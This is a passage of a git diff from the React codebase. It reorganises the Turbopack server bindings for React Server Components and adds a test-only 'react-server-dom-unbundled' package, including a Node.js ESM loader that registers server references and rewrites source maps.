+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler.js b/packages/react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler.js
similarity index 78%
rename from packages/react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler.js
rename to packages/react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler.js
index 73a2819a8ceb..219391f8f819 100644
--- a/packages/react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler.js
+++ b/packages/react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler.js
@@ -11,12 +11,12 @@ import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
 import type {
   ImportMetadata,
   ImportManifestEntry,
-} from './shared/ReactFlightImportMetadata';
+} from '../shared/ReactFlightImportMetadata';
 
 import type {
   ClientReference,
   ServerReference,
-} from './ReactFlightTurbopackReferences';
+} from '../ReactFlightTurbopackReferences';
 
 export type {ClientReference, ServerReference};
 
@@ -34,7 +34,7 @@ export type ClientReferenceKey = string;
 export {
   isClientReference,
   isServerReference,
-} from './ReactFlightTurbopackReferences';
+} from '../ReactFlightTurbopackReferences';
 
 export function getClientReferenceKey(
   reference: ClientReference<any>,
@@ -71,7 +71,15 @@ export function resolveClientReferenceMetadata<T>(
       );
     }
   }
-  if (clientReference.$$async === true) {
+  if (resolvedModuleData.async === true && clientReference.$$async === true) {
+    throw new Error(
+      'The module "' +
+        modulePath +
+        '" is marked as an async ESM module but was loaded as a CJS proxy. ' +
+        'This is probably a bug in the React Server Components bundler.',
+    );
+  }
+  if (resolvedModuleData.async === true || clientReference.$$async === true) {
     return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];
   } else {
     return [resolvedModuleData.id, resolvedModuleData.chunks, name];
@@ -91,3 +99,10 @@ export function getServerReferenceBoundArguments<T>(
 ): null | Array<ReactClientValue> {
   return serverReference.$$bound;
 }
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void | Error {
+  return serverReference.$$location;
+}
diff --git a/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.browser.js b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.browser.js
new file mode 100644
index 000000000000..d8373ec551bc
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.browser.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerBrowser';
diff --git a/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.edge.js b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.edge.js
new file mode 100644
index 000000000000..e103ff761913
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.edge.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerEdge';
diff --git a/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.node.js b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.node.js
new file mode 100644
index 000000000000..3c2b9e512c7c
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/react-flight-dom-server.node.js
@@ -0,0 +1,24 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-turbopack/src/shared/ReactFlightImportMetadata.js b/packages/react-server-dom-turbopack/src/shared/ReactFlightImportMetadata.js
index 60460d9c1d6d..7cfce93deb25 100644
--- a/packages/react-server-dom-turbopack/src/shared/ReactFlightImportMetadata.js
+++ b/packages/react-server-dom-turbopack/src/shared/ReactFlightImportMetadata.js
@@ -12,6 +12,7 @@ export type ImportManifestEntry = {
   // chunks is an array of filenames
   chunks: Array<string>,
   name: string,
+  async?: boolean,
 };
 
 // This is the parsed shape of the wire format which is why it is
diff --git a/packages/react-server-dom-turbopack/static.browser.js b/packages/react-server-dom-turbopack/static.browser.js
new file mode 100644
index 000000000000..258978916320
--- /dev/null
+++ b/packages/react-server-dom-turbopack/static.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-turbopack/static.edge.js b/packages/react-server-dom-turbopack/static.edge.js
new file mode 100644
index 000000000000..a39d54c73f57
--- /dev/null
+++ b/packages/react-server-dom-turbopack/static.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-turbopack/static.js b/packages/react-server-dom-turbopack/static.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-turbopack/static.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-turbopack/static.node.js b/packages/react-server-dom-turbopack/static.node.js
new file mode 100644
index 000000000000..78e70a1cf4c2
--- /dev/null
+++ b/packages/react-server-dom-turbopack/static.node.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  prerender,
+  prerenderToNodeStream,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-unbundled/README.md b/packages/react-server-dom-unbundled/README.md
new file mode 100644
index 000000000000..1df84033b484
--- /dev/null
+++ b/packages/react-server-dom-unbundled/README.md
@@ -0,0 +1,5 @@
+# react-server-dom-unbundled
+
+Test-only React Flight bindings for DOM using Node.js.
+
+This only exists for internal testing.
diff --git a/packages/react-server-dom-unbundled/client.js b/packages/react-server-dom-unbundled/client.js
new file mode 100644
index 000000000000..c3ec7662d6e9
--- /dev/null
+++ b/packages/react-server-dom-unbundled/client.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/client/react-flight-dom-client.node';
diff --git a/packages/react-server-dom-turbopack/npm/esm/package.json b/packages/react-server-dom-unbundled/esm/package.json
similarity index 100%
rename from packages/react-server-dom-turbopack/npm/esm/package.json
rename to packages/react-server-dom-unbundled/esm/package.json
diff --git a/packages/react-server-dom-unbundled/esm/react-server-dom-unbundled-node-loader.production.js b/packages/react-server-dom-unbundled/esm/react-server-dom-unbundled-node-loader.production.js
new file mode 100644
index 000000000000..da3948d4c0ae
--- /dev/null
+++ b/packages/react-server-dom-unbundled/esm/react-server-dom-unbundled-node-loader.production.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from '../src/ReactFlightUnbundledNodeLoader.js';
diff --git a/packages/react-server-dom-unbundled/index.js b/packages/react-server-dom-unbundled/index.js
new file mode 100644
index 000000000000..233bab2d9781
--- /dev/null
+++ b/packages/react-server-dom-unbundled/index.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error('Use react-server-dom-webpack/client instead.');
diff --git a/packages/react-server-dom-unbundled/node-register.js b/packages/react-server-dom-unbundled/node-register.js
new file mode 100644
index 000000000000..9727bc8d79ba
--- /dev/null
+++ b/packages/react-server-dom-unbundled/node-register.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+module.exports = require('./src/ReactFlightUnbundledNodeRegister');
diff --git a/packages/react-server-dom-unbundled/npm/client.js b/packages/react-server-dom-unbundled/npm/client.js
new file mode 100644
index 000000000000..5fd8000b1cfa
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/client.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-server-dom-unbundled-client.node.production.js');
+} else {
+  module.exports = require('./cjs/react-server-dom-unbundled-client.node.development.js');
+}
diff --git a/packages/react-server-dom-unbundled/npm/esm/package.json b/packages/react-server-dom-unbundled/npm/esm/package.json
new file mode 100644
index 000000000000..3dbc1ca591c0
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/esm/package.json
@@ -0,0 +1,3 @@
+{
+  "type": "module"
+}
diff --git a/packages/react-server-dom-unbundled/npm/index.js b/packages/react-server-dom-unbundled/npm/index.js
new file mode 100644
index 000000000000..42ff0d74366e
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/index.js
@@ -0,0 +1,12 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+'use strict';
+
+throw new Error('Use react-server-dom-unbundled/client instead.');
diff --git a/packages/react-server-dom-unbundled/npm/node-register.js b/packages/react-server-dom-unbundled/npm/node-register.js
new file mode 100644
index 000000000000..a354e8b2ff17
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/node-register.js
@@ -0,0 +1,3 @@
+'use strict';
+
+module.exports = require('./cjs/react-server-dom-unbundled-node-register.js');
diff --git a/packages/react-server-dom-unbundled/npm/server.js b/packages/react-server-dom-unbundled/npm/server.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/server.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-unbundled/npm/server.node.js b/packages/react-server-dom-unbundled/npm/server.node.js
new file mode 100644
index 000000000000..20164d88d256
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/server.node.js
@@ -0,0 +1,20 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-unbundled-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-unbundled-server.node.development.js');
+}
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-unbundled/npm/static.js b/packages/react-server-dom-unbundled/npm/static.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/static.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-unbundled/npm/static.node.js b/packages/react-server-dom-unbundled/npm/static.node.js
new file mode 100644
index 000000000000..dd62382b1980
--- /dev/null
+++ b/packages/react-server-dom-unbundled/npm/static.node.js
@@ -0,0 +1,11 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-unbundled-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-unbundled-server.node.development.js');
+}
+
+exports.prerender = s.prerender;
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-unbundled/package.json b/packages/react-server-dom-unbundled/package.json
new file mode 100644
index 000000000000..b3836d895f61
--- /dev/null
+++ b/packages/react-server-dom-unbundled/package.json
@@ -0,0 +1,46 @@
+{
+  "name": "react-server-dom-unbundled",
+  "description": "React Server Components bindings for DOM using Node.js. This only exists for internal testing.",
+  "version": "0.0.0",
+  "private": true,
+  "files": [
+    "LICENSE",
+    "README.md",
+    "index.js",
+    "client.js",
+    "server.js",
+    "server.node.js",
+    "static.js",
+    "static.node.js",
+    "node-register.js",
+    "cjs/",
+    "esm/"
+  ],
+  "exports": {
+    ".": "./index.js",
+    "./client": "./client.js",
+    "./server": {
+      "react-server": "./server.node.js",
+      "default": "./server.js"
+    },
+    "./server.node": "./server.node.js",
+    "./static": {
+      "react-server": "./static.node.js",
+      "default": "./static.js"
+    },
+    "./static.node": "./static.node.js",
+    "./node-loader": "./esm/react-server-dom-unbundled-node-loader.production.js",
+    "./node-register": "./node-register.js",
+    "./src/*": "./src/*.js",
+    "./package.json": "./package.json"
+  },
+  "main": "index.js",
+  "peerDependencies": {
+    "react": "^19.0.0",
+    "react-dom": "^19.0.0"
+  },
+  "dependencies": {
+    "acorn-loose": "^8.3.0",
+    "webpack-sources": "^3.2.0"
+  }
+}
diff --git a/packages/react-server-dom-unbundled/server.js b/packages/react-server-dom-unbundled/server.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-unbundled/server.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-unbundled/server.node.js b/packages/react-server-dom-unbundled/server.node.js
new file mode 100644
index 000000000000..bd00ba7275c1
--- /dev/null
+++ b/packages/react-server-dom-unbundled/server.node.js
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToPipeableStream,
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeLoader.js b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeLoader.js
new file mode 100644
index 000000000000..9799acc3a07b
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeLoader.js
@@ -0,0 +1,804 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as acorn from 'acorn-loose';
+
+import readMappings from 'webpack-sources/lib/helpers/readMappings.js';
+import createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';
+
+type ResolveContext = {
+  conditions: Array<string>,
+  parentURL: string | void,
+};
+
+type ResolveFunction = (
+  string,
+  ResolveContext,
+  ResolveFunction,
+) => {url: string} | Promise<{url: string}>;
+
+type GetSourceContext = {
+  format: string,
+};
+
+type GetSourceFunction = (
+  string,
+  GetSourceContext,
+  GetSourceFunction,
+) => Promise<{source: Source}>;
+
+type TransformSourceContext = {
+  format: string,
+  url: string,
+};
+
+type TransformSourceFunction = (
+  Source,
+  TransformSourceContext,
+  TransformSourceFunction,
+) => Promise<{source: Source}>;
+
+type LoadContext = {
+  conditions: Array<string>,
+  format: string | null | void,
+  importAssertions: Object,
+};
+
+type LoadFunction = (
+  string,
+  LoadContext,
+  LoadFunction,
+) => Promise<{format: string, shortCircuit?: boolean, source: Source}>;
+
+type Source = string | ArrayBuffer | Uint8Array;
+
+let warnedAboutConditionsFlag = false;
+
+let stashedGetSource: null | GetSourceFunction = null;
+let stashedResolve: null | ResolveFunction = null;
+
+export async function resolve(
+  specifier: string,
+  context: ResolveContext,
+  defaultResolve: ResolveFunction,
+): Promise<{url: string}> {
+  // We stash this in case we end up needing to resolve export * statements later.
+  stashedResolve = defaultResolve;
+
+  if (!context.conditions.includes('react-server')) {
+    context = {
+      ...context,
+      conditions: [...context.conditions, 'react-server'],
+    };
+    if (!warnedAboutConditionsFlag) {
+      warnedAboutConditionsFlag = true;
+      // eslint-disable-next-line react-internal/no-production-logging
+      console.warn(
+        'You did not run Node.js with the `--conditions react-server` flag. ' +
+          'Any "react-server" override will only work with ESM imports.',
+      );
+    }
+  }
+  return await defaultResolve(specifier, context, defaultResolve);
+}
+
+export async function getSource(
+  url: string,
+  context: GetSourceContext,
+  defaultGetSource: GetSourceFunction,
+): Promise<{source: Source}> {
+  // We stash this in case we end up needing to resolve export * statements later.
+  stashedGetSource = defaultGetSource;
+  return defaultGetSource(url, context, defaultGetSource);
+}
+
+type ExportedEntry = {
+  localName: string,
+  exportedName: string,
+  type: null | string,
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+  originalLine: number,
+  originalColumn: number,
+  originalSource: number,
+  nameIndex: number,
+};
+
+function addExportedEntry(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  localName: string,
+  exportedName: string,
+  type: null | 'function',
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+) {
+  if (localNames.has(localName)) {
+    // If the same local name is exported more than once, we only need one of the names.
+    return;
+  }
+  exportedEntries.push({
+    localName,
+    exportedName,
+    type,
+    loc,
+    originalLine: -1,
+    originalColumn: -1,
+    originalSource: -1,
+    nameIndex: -1,
+  });
+}
+
+function addLocalExportedNames(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  node: any,
+) {
+  switch (node.type) {
+    case 'Identifier':
+      addExportedEntry(
+        exportedEntries,
+        localNames,
+        node.name,
+        node.name,
+        null,
+        node.loc,
+      );
+      return;
+    case 'ObjectPattern':
+      for (let i = 0; i < node.properties.length; i++)
+        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);
+      return;
+    case 'ArrayPattern':
+      for (let i = 0; i < node.elements.length; i++) {
+        const element = node.elements[i];
+        if (element)
+          addLocalExportedNames(exportedEntries, localNames, element);
+      }
+      return;
+    case 'Property':
+      addLocalExportedNames(exportedEntries, localNames, node.value);
+      return;
+    case 'AssignmentPattern':
+      addLocalExportedNames(exportedEntries, localNames, node.left);
+      return;
+    case 'RestElement':
+      addLocalExportedNames(exportedEntries, localNames, node.argument);
+      return;
+    case 'ParenthesizedExpression':
+      addLocalExportedNames(exportedEntries, localNames, node.expression);
+      return;
+  }
+}
+
+function transformServerModule(
+  source: string,
+  program: any,
+  url: string,
+  sourceMap: any,
+  loader: LoadFunction,
+): string {
+  const body = program.body;
+
+  // This entry list needs to be in source location order.
+  const exportedEntries: Array<ExportedEntry> = [];
+  // Dedupe set.
+  const localNames: Set<string> = new Set();
+
+  for (let i = 0; i < body.length; i++) {
+    const node = body[i];
+    switch (node.type) {
+      case 'ExportAllDeclaration':
+        // If export * is used, the other file needs to explicitly opt into "use server" too.
+        break;
+      case 'ExportDefaultDeclaration':
+        if (node.declaration.type === 'Identifier') {
+          addExportedEntry(
+            exportedEntries,
+            localNames,
+            node.declaration.name,
+            'default',
+            null,
+            node.declaration.loc,
+          );
+        } else if (node.declaration.type === 'FunctionDeclaration') {
+          if (node.declaration.id) {
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              node.declaration.id.name,
+              'default',
+              'function',
+              node.declaration.id.loc,
+            );
+          } else {
+            // TODO: This needs to be rewritten inline because it doesn't have a local name.
+          }
+        }
+        continue;
+      case 'ExportNamedDeclaration':
+        if (node.declaration) {
+          if (node.declaration.type === 'VariableDeclaration') {
+            const declarations = node.declaration.declarations;
+            for (let j = 0; j < declarations.length; j++) {
+              addLocalExportedNames(
+                exportedEntries,
+                localNames,
+                declarations[j].id,
+              );
+            }
+          } else {
+            const name = node.declaration.id.name;
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              name,
+              name,
+
+              node.declaration.type === 'FunctionDeclaration'
+                ? 'function'
+                : null,
+              node.declaration.id.loc,
+            );
+          }
+        }
+        if (node.specifiers) {
+          const specifiers = node.specifiers;
+          for (let j = 0; j < specifiers.length; j++) {
+            const specifier = specifiers[j];
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              specifier.local.name,
+              specifier.exported.name,
+              null,
+              specifier.local.loc,
+            );
+          }
+        }
+        continue;
+    }
+  }
+
+  let mappings =
+    sourceMap && typeof sourceMap.mappings === 'string'
+      ? sourceMap.mappings
+      : '';
+  let newSrc = source;
+
+  if (exportedEntries.length > 0) {
+    let lastSourceIndex = 0;
+    let lastOriginalLine = 0;
+    let lastOriginalColumn = 0;
+    let lastNameIndex = 0;
+    let sourceLineCount = 0;
+    let lastMappedLine = 0;
+
+    if (sourceMap) {
+      // We iterate source mapping entries and our matched exports in parallel to source map
+      // them to their original location.
+      let nextEntryIdx = 0;
+      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+      readMappings(
+        mappings,
+        (
+          generatedLine: number,
+          generatedColumn: number,
+          sourceIndex: number,
+          originalLine: number,
+          originalColumn: number,
+          nameIndex: number,
+        ) => {
+          if (
+            generatedLine > nextEntryLine ||
+            (generatedLine === nextEntryLine &&
+              generatedColumn > nextEntryColumn)
+          ) {
+            // We're past the entry which means that the best match we have is the previous entry.
+            if (lastMappedLine === nextEntryLine) {
+              // Match
+              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+            } else {
+              // Skip if we didn't have any mappings on the exported line.
+            }
+            nextEntryIdx++;
+            if (nextEntryIdx < exportedEntries.length) {
+              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+            } else {
+              nextEntryLine = -1;
+              nextEntryColumn = -1;
+            }
+          }
+          lastMappedLine = generatedLine;
+          if (sourceIndex > -1) {
+            lastSourceIndex = sourceIndex;
+          }
+          if (originalLine > -1) {
+            lastOriginalLine = originalLine;
+          }
+          if (originalColumn > -1) {
+            lastOriginalColumn = originalColumn;
+          }
+          if (nameIndex > -1) {
+            lastNameIndex = nameIndex;
+          }
+        },
+      );
+      if (nextEntryIdx < exportedEntries.length) {
+        if (lastMappedLine === nextEntryLine) {
+          // Match
+          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+        }
+      }
+
+      for (
+        let lastIdx = mappings.length - 1;
+        lastIdx >= 0 && mappings[lastIdx] === ';';
+        lastIdx--
+      ) {
+        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings
+        // so we need to pad the number of mapped lines, with one for each empty line.
+        lastMappedLine++;
+      }
+
+      sourceLineCount = program.loc.end.line;
+      if (sourceLineCount < lastMappedLine) {
+        throw new Error(
+          'The source map has more mappings than there are lines.',
+        );
+      }
+      // If the original source string had more lines than there are mappings in the source map.
+      // Add some extra padding of unmapped lines so that any lines that we add line up.
+      for (
+        let extraLines = sourceLineCount - lastMappedLine;
+        extraLines > 0;
+        extraLines--
+      ) {
+        mappings += ';';
+      }
+    } else {
+      // If a file doesn't have a source map then we generate a blank source map that just
+      // contains the original content and segments pointing to the original lines.
+      sourceLineCount = 1;
+      let idx = -1;
+      while ((idx = source.indexOf('\n', idx + 1)) !== -1) {
+        sourceLineCount++;
+      }
+      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);
+      sourceMap = {
+        version: 3,
+        sources: [url],
+        sourcesContent: [source],
+        mappings: mappings,
+        sourceRoot: '',
+      };
+      lastSourceIndex = 0;
+      lastOriginalLine = sourceLineCount;
+      lastOriginalColumn = 0;
+      lastNameIndex = -1;
+      lastMappedLine = sourceLineCount;
+
+      for (let i = 0; i < exportedEntries.length; i++) {
+        // Point each entry to original location.
+        const entry = exportedEntries[i];
+        entry.originalSource = 0;
+        entry.originalLine = entry.loc.start.line;
+        // We use column zero since we do the short-hand line-only source maps above.
+        entry.originalColumn = 0; // entry.loc.start.column;
+      }
+    }
+
+    newSrc += '\n\n;';
+    newSrc +=
+      'import {registerServerReference} from "react-server-dom-webpack/server";\n';
+    if (mappings) {
+      mappings += ';;';
+    }
+
+    const createMapping = createMappingsSerializer();
+
+    // Create an empty mapping pointing to where we last left off to reset the counters.
+    let generatedLine = 1;
+    createMapping(
+      generatedLine,
+      0,
+      lastSourceIndex,
+      lastOriginalLine,
+      lastOriginalColumn,
+      lastNameIndex,
+    );
+    for (let i = 0; i < exportedEntries.length; i++) {
+      const entry = exportedEntries[i];
+      generatedLine++;
+      if (entry.type !== 'function') {
+        // We first check if the export is a function and if so annotate it.
+        newSrc += 'if (typeof ' + entry.localName + ' === "function") ';
+      }
+      newSrc += 'registerServerReference(' + entry.localName + ',';
+      newSrc += JSON.stringify(url) + ',';
+      newSrc += JSON.stringify(entry.exportedName) + ');\n';
+
+      mappings += createMapping(
+        generatedLine,
+        0,
+        entry.originalSource,
+        entry.originalLine,
+        entry.originalColumn,
+        entry.nameIndex,
+      );
+    }
+  }
+
+  if (sourceMap) {
+    // Override with an new mappings and serialize an inline source map.
+    sourceMap.mappings = mappings;
+    newSrc +=
+      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +
+      Buffer.from(JSON.stringify(sourceMap)).toString('base64');
+  }
+
+  return newSrc;
+}
+
+function addExportNames(names: Array<string>, node: any) {
+  switch (node.type) {
+    case 'Identifier':
+      names.push(node.name);
+      return;
+    case 'ObjectPattern':
+      for (let i = 0; i < node.properties.length; i++)
+        addExportNames(names, node.properties[i]);
+      return;
+    case 'ArrayPattern':
+      for (let i = 0; i < node.elements.length; i++) {
+        const element = node.elements[i];
+        if (element) addExportNames(names, element);
+      }
+      return;
+    case 'Property':
+      addExportNames(names, node.value);
+      return;
+    case 'AssignmentPattern':
+      addExportNames(names, node.left);
+      return;
+    case 'RestElement':
+      addExportNames(names, node.argument);
+      return;
+    case 'ParenthesizedExpression':
+      addExportNames(names, node.expression);
+      return;
+  }
+}
+
+function resolveClientImport(
+  specifier: string,
+  parentURL: string,
+): {url: string} | Promise<{url: string}> {
+  // Resolve an import specifier as if it was loaded by the client. This doesn't use
+  // the overrides that this loader does but instead reverts to the default.
+  // This resolution algorithm will not necessarily have the same configuration
+  // as the actual client loader. It should mostly work and if it doesn't you can
+  // always convert to explicit exported names instead.
+  const conditions = ['node', 'import'];
+  if (stashedResolve === null) {
+    throw new Error(
+      'Expected resolve to have been called before transformSource',
+    );
+  }
+  return stashedResolve(specifier, {conditions, parentURL}, stashedResolve);
+}
+
+async function parseExportNamesInto(
+  body: any,
+  names: Array<string>,
+  parentURL: string,
+  loader: LoadFunction,
+): Promise<void> {
+  for (let i = 0; i < body.length; i++) {
+    const node = body[i];
+    switch (node.type) {
+      case 'ExportAllDeclaration':
+        if (node.exported) {
